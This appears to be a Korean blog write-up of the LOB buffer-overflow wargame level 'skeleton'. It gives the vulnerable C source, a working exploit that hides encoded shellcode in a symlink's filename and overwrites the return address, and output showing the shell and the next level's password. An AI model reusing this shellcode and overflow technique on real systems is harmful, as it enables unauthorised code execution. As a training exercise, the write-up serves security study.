ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [lob] vampire -> skeleton
    공부/LOB 2014. 7. 30. 20:05

    [vampire@localhost vampire]$ cat skeleton.c
    /*
            The Lord of the BOF : The Fellowship of the BOF
            - skeleton
            - argv hunter
    */

    #include <stdio.h>
    #include <stdlib.h>

    extern char **environ;

    main(int argc, char *argv[])
    {
        char buffer[40];
        int i, saved_argc;

        if(argc < 2){
            printf("argv error\n");
            exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
            memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
            printf("stack is still your friend.\n");
            exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
            printf("argument is too long!\n");
            exit(0);
        }

        // argc saver
        saved_argc = argc;

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

            // buffer hunter
            memset(buffer, 0, 40);

        // ultra argv hunter!
        for(i=0; i<saved_argc; i++)
            memset(argv[i], 0, strlen(argv[i]));
    }

    ./`python -c'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*40'` `python -c 'print "a"*44+"\xa3\xff\xff\xbf"'`


    //뒤에 놉을 넣은 이유는 쉘코드 중간에 esi를 변경하는 구문이 있는데 그냥 넣어줄 경우 스택의 범위를 초과하게 되면서 제대로 실행되지 않는다

    [vampire@localhost vampire]$ ln -s skeleton `python -c'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*40'`
    [vampire@localhost vampire]$ ./:wq `python -c'print "a"*44+"\xa3\xff\xff\xbf"'`
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?
    bash$ ls
    ls: .: Permission denied
    bash$ mypass
    sh: mypass: command not found
    bash$ my-pass
    euid = 510
    shellcoder
    bash$

    '공부 > LOB' 카테고리의 다른 글

    [lob] darkknight -> bugbrear  (0) 2014.07.30
    [lob] golem -> darknight  (0) 2014.07.30
    [lob] troll -> vampire  (0) 2014.07.30
    [lob] orge -> troll  (0) 2014.07.30
    [lob] darkelf -> orge  (0) 2014.07.30

    댓글 3

Designed by Tistory.